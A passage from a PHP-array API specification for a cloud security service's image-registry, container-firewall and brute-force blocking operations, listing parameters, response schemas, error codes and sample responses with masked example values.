**1**: Internet.'."\n" .'* **2**: virtual private cloud (VPC).'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'VpcId' => [ 'title' => 'vpcId', 'description' => 'The VPC ID.'."\n", 'type' => 'string', 'example' => 'vpc-5gu8iu68w9b472jbb****', ], 'RegistryHostIp' => [ 'title' => '主机Ip地址', 'description' => 'The IP address of the image repository.'."\n", 'type' => 'string', 'example' => '39.104.XXX.XXX', ], 'DomainName' => [ 'title' => '域名', 'description' => 'The domain name of the image repository.'."\n", 'type' => 'string', 'example' => 'sinochem.com', ], 'UserName' => [ 'title' => '用户名', 'description' => 'The username.'."\n", 'type' => 'string', 'example' => 'RegistryUser', ], 'Password' => [ 'title' => '密码', 'description' => 'The password.'."\n", 'type' => 'string', 'example' => 'Harbor******', ], 'RegionId' => [ 'title' => '镜像仓库所在的regionId', 'description' => 'The region ID of the image repository.'."\n", 'type' => 'string', 'example' => 'cn-hangzhou', ], 'Token' => [ 'title' => 'token 用户的唯一标识', 'description' => 'The authentication token of the user.'."\n", 'type' => 'string', 'example' => 'c7b90d29-632f-4e58-88b8-00ad77f6****', ], 'WhiteList' => [ 'title' => '白名单', 'description' => 'The IP address whitelist.'."\n", 'type' => 'string', 'example' => '192.168.XXX.XXX', ], 'BlackList' => [ 'title' => '黑名单', 'description' => 'The IP address blacklist.'."\n", 'type' => 'string', 'example' => '129.211.XXX.XXX', ], 'TransPerHour' => [ 'title' => '每小时扫描任务数', 'description' => 'The number of scan tasks that are performed per hour.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '30', ], 'PersistenceDay' => [ 'title' => '资产保存天数', 'description' => 'The number of days for which assets are retained.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '30', ], 'ImageCount' => [ 'title' => '包含的镜像数量', 'description' => 'The number of images that are stored in the image repository.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'JenkinsEnv' => [ 'description' => 'The information about the Jenkins environment.'."\n", 'type' => 'string', 'example' => 'projectInfo', ], ], ], ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '69', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], ], ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'FDA9E37C-6114-5945-8FF1-E3D4D397****', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"List\\": [\\n {\\n \\"Id\\": 1078312,\\n \\"GmtCreate\\": \\"2022-08-30 10:23:30\\",\\n \\"GmtModified\\": \\"2022-09-30 10:23:30\\",\\n \\"RegistryName\\": \\"test1\\",\\n \\"RegistryType\\": \\"harbor\\",\\n \\"ProtocolType\\": 1,\\n \\"NetType\\": 1,\\n \\"VpcId\\": \\"vpc-5gu8iu68w9b472jbb****\\",\\n \\"RegistryHostIp\\": \\"39.104.XXX.XXX\\",\\n \\"DomainName\\": \\"sinochem.com\\",\\n \\"UserName\\": \\"RegistryUser\\",\\n \\"Password\\": \\"Harbor******\\",\\n \\"RegionId\\": \\"cn-hangzhou\\",\\n \\"Token\\": \\"c7b90d29-632f-4e58-88b8-00ad77f6****\\",\\n \\"WhiteList\\": \\"192.168.XXX.XXX\\",\\n \\"BlackList\\": \\"129.211.XXX.XXX\\",\\n \\"TransPerHour\\": 30,\\n \\"PersistenceDay\\": 30,\\n \\"ImageCount\\": 1,\\n \\"JenkinsEnv\\": \\"projectInfo\\"\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 69,\\n \\"Count\\": 20\\n },\\n \\"RequestId\\": \\"FDA9E37C-6114-5945-8FF1-E3D4D397****\\"\\n}","type":"json"}]', 'title' => 'PageImageRegistry', ], 'QueryJenkinsImageRegistryPersistenceDay' => [ 'summary' => 'Queries the retention period of images that are stored in a Jenkins image repository.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'https', 'http', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '113.83.XXX.XXX', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'title' => 'PlainResult', 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'The retention period. Unit: days.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '30', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'EA4AC8B7-0C18-5BC1-9DA4-798B3BE4****', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], 'TimeCost' => [ 'description' => 'The time consumed. Unit: seconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": 30,\\n \\"RequestId\\": \\"EA4AC8B7-0C18-5BC1-9DA4-798B3BE4****\\",\\n \\"HttpStatusCode\\": 200,\\n \\"TimeCost\\": 1\\n}","type":"json"}]', 'title' => 'QueryJenkinsImageRegistryPersistenceDay', ], 'UpdateJenkinsImageRegistryName' => [ 'summary' => 'Modifies the name of a Jenkins image repository.', 'methods' => [ 'post', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'update', ], 'parameters' => [ [ 'name' => 'RegistryId', 'in' => 'formData', 'schema' => [ 'title' => '镜像仓id', 'description' => 'The ID of the image repository.'."\n" ."\n" .'> You can call the [PageImageRegistry](~~PageImageRegistry~~) operation to query the IDs of image repositories.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '25090', ], ], [ 'name' => 'RegistryName', 'in' => 'formData', 'schema' => [ 'title' => '保留周期', 'description' => 'The name of the image repository.'."\n", 'type' => 'string', 'required' => false, 'example' => 'a0603tk1', ], ], [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '121.33.XXX.XXX', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'title' => 'PlainResult', 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'The result of the operation. Valid values:'."\n" ."\n" .'* **true**: successful'."\n" .'* **false**: failed'."\n", 'type' => 'boolean', 'example' => 'true', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '4347E985-6E64-467B-96EC-30D4EA9E****', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], 'TimeCost' => [ 'description' => 'The time consumed. Unit: seconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": true,\\n \\"RequestId\\": \\"4347E985-6E64-467B-96EC-30D4EA9E****\\",\\n \\"HttpStatusCode\\": 200,\\n \\"TimeCost\\": 1\\n}","type":"json"}]', 'title' => 'UpdateJenkinsImageRegistryName', ], 'UpdateJenkinsImageRegistryPersistenceDay' => [ 'summary' => 'Modifies the retention period of images that are stored in a Jenkins image repository.', 'methods' => [ 'post', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'update', ], 'parameters' => [ [ 'name' => 'RegistryId', 'in' => 'formData', 'schema' => [ 'title' => '镜像仓id', 'description' => 'The ID of the image repository.'."\n" ."\n" .'> You can call the [PageImageRegistry](~~PageImageRegistry~~) operation to query the IDs of image repositories.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '25363', ], ], [ 'name' => 'PersistenceDay', 'in' => 'formData', 'schema' => [ 'title' => '保留周期', 'description' => 'The retention period. Unit: days.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '30', ], ], [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '106.11.XXX.XXX', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'title' => 'PlainResult', 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**: The request was successful.'."\n" .'* **false**: The request failed.'."\n", 'type' => 'boolean', 'example' => 'true', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '69F88BA1-004C-51E2-BF5C-A3220E5A****', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], 'TimeCost' => [ 'description' => 'The time consumed. Unit: seconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": true,\\n \\"RequestId\\": \\"69F88BA1-004C-51E2-BF5C-A3220E5A****\\",\\n \\"HttpStatusCode\\": 200,\\n \\"TimeCost\\": 1\\n}","type":"json"}]', 'title' => 'UpdateJenkinsImageRegistryPersistenceDay', ], 'GetInterceptionTargetDetail' => [ 'summary' => 'Queries the information about a specified network object that is protected by the container firewall feature.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'TargetId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the network object.'."\n" ."\n" .'> You can call the [ListInterceptionTargetPage](~~ListInterceptionTargetPage~~) operation to query the IDs of network objects.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '402008', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'D65AADFC-1D20-5A6A-8F6A-9FA53C0DC1F8', ], 'RuleTarget' => [ 'description' => 'The information about the network object.'."\n", 'type' => 'object', 'properties' => [ 'AppName' => [ 'description' => 'The name of the application to which the network object belongs.'."\n", 'type' => 'string', 'example' => 'netperf-client', ], 'ImageList' => [ 'description' => 'An array that consists of the images of the network object.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the image.'."\n", 'type' => 'string', 'example' => 'nginx:latest', ], ], 'TagList' => [ 'description' => 'An array that consists of the labels specified for the network object.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the label.'."\n", 'type' => 'string', 'example' => 'service:be-v1', ], ], 'TargetId' => [ 'description' => 'The ID of the network object.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '400723', ], 'TargetName' => [ 'description' => 'The name of the network object.'."\n", 'type' => 'string', 'example' => 'destination-test-obj-Na3cF', ], 'Namespace' => [ 'description' => 'The namespace.'."\n", 'type' => 'string', 'example' => 'secondary', ], 'TargetType' => [ 'description' => 'The type of the network object. Valid values:'."\n" ."\n" .'* **IMAGE**: image'."\n", 'type' => 'string', 'example' => 'IMAGE', ], 'ClusterName' => [ 'description' => 'The name of the container cluster.'."\n", 'type' => 'string', 'example' => 'sas-test-cnnf'."\n", ], 'ClusterId' => [ 'description' => 'The ID of the container cluster.'."\n", 'type' => 'string', 'example' => 'ca6e6594def8d4be8b2795fd12c32****', ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"D65AADFC-1D20-5A6A-8F6A-9FA53C0DC1F8\\",\\n \\"RuleTarget\\": {\\n \\"AppName\\": \\"netperf-client\\",\\n \\"ImageList\\": [\\n \\"nginx:latest\\"\\n ],\\n \\"TagList\\": [\\n \\"service:be-v1\\"\\n ],\\n \\"TargetId\\": 400723,\\n \\"TargetName\\": \\"destination-test-obj-Na3cF\\",\\n \\"Namespace\\": \\"secondary\\",\\n \\"TargetType\\": \\"IMAGE\\",\\n \\"ClusterName\\": \\"sas-test-cnnf\\\\n\\",\\n \\"ClusterId\\": \\"ca6e6594def8d4be8b2795fd12c32****\\"\\n }\\n}","type":"json"}]', 'title' => 'GetInterceptionTargetDetail', ], 'DeleteInterceptionRule' => [ 'summary' => 'Deletes a defense rule in the container firewall module.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'delete', ], 'parameters' => [ [ 'name' => 'ClusterId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the cluster that you want to query.'."\n" ."\n" .'> You can call the [DescribeGroupedContainerInstances](~~DescribeGroupedContainerInstances~~) operation to query the IDs of clusters.'."\n", 'type' => 'string', 'required' => true, 'example' => 'cdf629147cc3747d292a3f587xxxxxxxx', ], ], [ 'name' => 'RuleIds', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The IDs of the rules that you want to delete.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The ID of the rule that you want to delete. For more information about how to query the ID of a rule, see [ListInterceptionRulePage](~~ListInterceptionRulePage~~).'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '11', ], 'required' => false, 'maxItems' => 100, ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'D65AADFC-1D20-5A6A-8F6A-9FA53CXXXXX', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"D65AADFC-1D20-5A6A-8F6A-9FA53CXXXXX\\"\\n}","type":"json"}]', 'title' => 'DeleteInterceptionRule', ], 'DeleteInterceptionTarget' => [ 'summary' => 'Removes the network objects that are in effect in the container firewall.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'delete', ], 'parameters' => [ [ 'name' => 'TargetIds', 'in' => 'query', 'schema' => [ 'description' => 'The IDs of the network objects that you want to remove. You can call the [ListInterceptionTargetPage](~~ListInterceptionTargetPage~~) operation to query the IDs of the network objects.'."\n", 'type' => 'string', 'required' => true, 'example' => '1,11,111', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'Result' => [ 'description' => 'Indicates whether the network objects are removed. Valid values:'."\n" ."\n" .'* **true**: The network objects are removed.'."\n" .'* **false**: The network objects fail to be removed.'."\n", 'type' => 'boolean', 'example' => 'true', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'D81DD78E-E006-5C65-A171-C8CB09XXXXX', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Result\\": true,\\n \\"RequestId\\": \\"D81DD78E-E006-5C65-A171-C8CB09XXXXX\\"\\n}","type":"json"}]', 'title' => 'DeleteInterceptionTarget', ], 'DescribeCustomBlockRecords' => [ 'summary' => 'Queries the defense rules against brute-force attacks that are applied to one or more servers.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'abilityTreeCode' => '92045', 'abilityTreeNodes' => [ 'FEATUREsas2XWKXT', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'Status', 'in' => 'query', 'schema' => [ 'description' => 'The status of the defense rule. Valid values:'."\n" ."\n" .'* **0**: invalid'."\n" .'* **1**: enabled'."\n" .'* **2**: failed'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'BlockIp', 'in' => 'query', 'schema' => [ 'description' => 'The IP address that you want to block by using the defense rule.'."\n", 'type' => 'string', 'required' => false, 'example' => '117.66.XX.XX', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page. Default value: **20**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '028CF634-5268-5660-9575-48C9ED6B7T8Y', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '708', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '3', ], ], ], 'RecordList' => [ 'description' => 'An array that consists of the defense rules.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the server.'."\n", 'type' => 'object', 'properties' => [ 'Status' => [ 'description' => 'The status of the defense rule against brute-force attacks. Valid values:'."\n" ."\n" .'* **0**: invalid.'."\n" .'* **1**: enabled.'."\n" .'* **2**: failed.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'BlockExpireDate' => [ 'description' => 'The timestamp generated when the block action on the IP address becomes invalid.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1671506882063', ], 'EnableCount' => [ 'description' => 'The number of servers for which the defense rule is enabled.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '4', ], 'ServerCount' => [ 'description' => 'The total number of servers on which the IP address is blocked.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '6', ], 'BlockIp' => [ 'description' => 'The blocked IP address.'."\n", 'type' => 'string', 'example' => '45.227.XX.XX'."\n", ], 'Bound' => [ 'description' => 'The direction of the traffic that is sent by the blocked IP address. Valid values:'."\n" ."\n" .'* **in**'."\n" .'* **out**'."\n", 'type' => 'string', 'example' => 'in', ], 'Source' => [ 'description' => 'The source of the defense rule.'."\n", 'type' => 'string', 'example' => 'UserRule', ], 'Id' => [ 'description' => 'The record ID.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '353376', ], 'TargetList' => [ 'description' => 'The servers for which the defense rule is enabled.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the server.'."\n", 'type' => 'object', 'properties' => [ 'Target' => [ 'description' => 'The ID of the destination asset.'."\n", 'type' => 'string', 'example' => '032b618f-b220-4a0d-bd37-fbdc6*******', ], 'TargetType' => [ 'description' => 'The type of the query. Valid values:'."\n" ."\n" .'* Set the value to **uuid**.'."\n", 'type' => 'string', 'example' => 'uuid', ], ], ], ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"028CF634-5268-5660-9575-48C9ED6B7T8Y\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 708,\\n \\"Count\\": 3\\n },\\n \\"RecordList\\": [\\n {\\n \\"Status\\": 1,\\n \\"BlockExpireDate\\": 1671506882063,\\n \\"EnableCount\\": 4,\\n \\"ServerCount\\": 6,\\n \\"BlockIp\\": \\"45.227.XX.XX\\\\n\\",\\n \\"Bound\\": \\"in\\",\\n \\"Source\\": \\"UserRule\\",\\n \\"Id\\": 353376,\\n \\"TargetList\\": [\\n {\\n \\"Target\\": \\"032b618f-b220-4a0d-bd37-fbdc6*******\\",\\n \\"TargetType\\": \\"uuid\\"\\n }\\n ]\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeCustomBlockRecords', ], 'ListInterceptionRulePage' => [ 'summary' => 'Queries defense rules that are configured for the container firewall feature.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'ClusterId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the container cluster.'."\n", 'type' => 'string', 'required' => true, 'example' => 'cc41de13ab5474210bc0ce772a009****', ], ], [ 'name' => 'Criteria', 'in' => 'query', 'schema' => [ 'description' => 'The query condition.'."\n", 'type' => 'string', 'required' => false, 'example' => '80', ], ], [ 'name' => 'CriteriaType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the query condition. Valid values:'."\n" ."\n" .'* **ID**'."\n" .'* **RULE_NAME**'."\n" .'* **SRC_TARGET**'."\n" .'* **DST_TARGET**'."\n" .'* **DST_PORT**'."\n" .'* **RULE_SWITCH**'."\n" .'* **INTERCEPTOR_TYPE**'."\n", 'type' => 'string', 'required' => false, 'example' => 'DST_PORT', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '50', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'ACF97412-FD09-4D1F-994F-34DF12BR****', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '19', ], 'PageSize' => [ 'description' => 'The number of entries returned per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], ], ], 'InterceptionRuleList' => [ 'description' => 'An array that consists of information about the defense rules.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the defense rule.'."\n", 'type' => 'object', 'properties' => [ 'RuleType' => [ 'description' => 'The type of the defense rule.'."\n", 'type' => 'string', 'example' => 'customize', ], 'RuleSwitch' => [ 'description' => 'The status of the defense rule. Valid values:'."\n" ."\n" .'* **1**: enabled'."\n" .'* **0**: disabled'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'RuleId' => [ 'description' => 'The ID of the defense rule.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '30****', ], 'RuleName' => [ 'description' => 'The name of the defense rule.'."\n", 'type' => 'string', 'example' => 'test', ], 'SrcTarget' => [ 'description' => 'The source network object.'."\n", 'type' => 'object', 'properties' => [ 'AppName' => [ 'description' => 'The name of the application.'."\n", 'type' => 'string', 'example' => 'ack-jenkins-lawr****', ], 'RuleType' => [ 'description' => 'The type of the defense rule. Valid values:'."\n" ."\n" .'* **suggest**: intelligently recommended rule'."\n" .'* **customize**: custom rule'."\n" .'* **system**: system rule'."\n", 'type' => 'string', 'example' => 'customize', ], 'TargetId' => [ 'description' => 'The ID of the network object.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '40****', ], 'TargetName' => [ 'description' => 'The name of the network object.'."\n", 'type' => 'string', 'example' => 'mhh-te****', ], 'Namespace' => [ 'description' => 'The namespace.'."\n", 'type' => 'string', 'example' => 'jenkins', ], 'TargetType' => [ 'description' => 'The type of the affected assets.'."\n", 'type' => 'string', 'example' => 'containerId', ], 'ImageList' => [ 'description' => 'An array that consists of the images of the network object.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The images.'."\n", 'type' => 'string', 'example' => 'nginx:1.****', ], ], 'TagList' => [ 'description' => 'An array that consists of tags added to the source network object.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The tags added to the source network object.'."\n", 'type' => 'string', 'example' => 'bpm', ], ], ], ], 'DstTarget' => [ 'description' => 'The destination network object.'."\n", 'type' => 'object', 'properties' => [ 'AppName' => [ 'description' => 'The name of the application.'."\n", 'type' => 'string', 'example' => 'console', ], 'RuleType' => [ 'description' => 'The type of the defense rule. Valid values:'."\n" ."\n" .'* **suggest**: intelligently recommended rule'."\n" .'* **customize**: custom rule'."\n" .'* **system**: system rule'."\n", 'type' => 'string', 'example' => 'customize', ], 'TargetId' => [ 'description' => 'The ID of the network object.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '302001', ], 'TargetName' => [ 'description' => 'The name of the network object.'."\n", 'type' => 'string', 'example' => 'demo4****', ], 'Namespace' => [ 'description' => 'The namespace.'."\n", 'type' => 'string', 'example' => 'test', ], 'TargetType' => [ 'description' => 'The type of the network object.'."\n", 'type' => 'string', 'example' => 'IMAGE', ], 'Ports' => [ 'description' => 'An array that consists of information about the ports used by the destination server.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The ports.'."\n", 'type' => 'string', 'example' => '{"tcp":"1234","udp":"5555"}', ], ], 'ImageList' => [ 'description' => 'An array that consists of the affected images.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The affected images.'."\n", 'type' => 'string', 'example' => 'nacos:v2.0****', ], ], 'TagList' => [ 'description' => 'An array that consists of tags added to the destination network object.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The tags added to the destination network object.'."\n", 'type' => 'string', 'example' => '111', ], ], ], ], 'OrderIndex' => [ 'description' => 'The order in which the entries are sorted.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1', ], 'InterceptType' => [ 'description' => 'The interception mode. Valid values:'."\n" ."\n" .'* **0**: monitor'."\n" .'* **1**: block'."\n" .'* **2**: alert'."\n" .'* **3**: allow'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"ACF97412-FD09-4D1F-994F-34DF12BR****\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 19,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 2,\\n 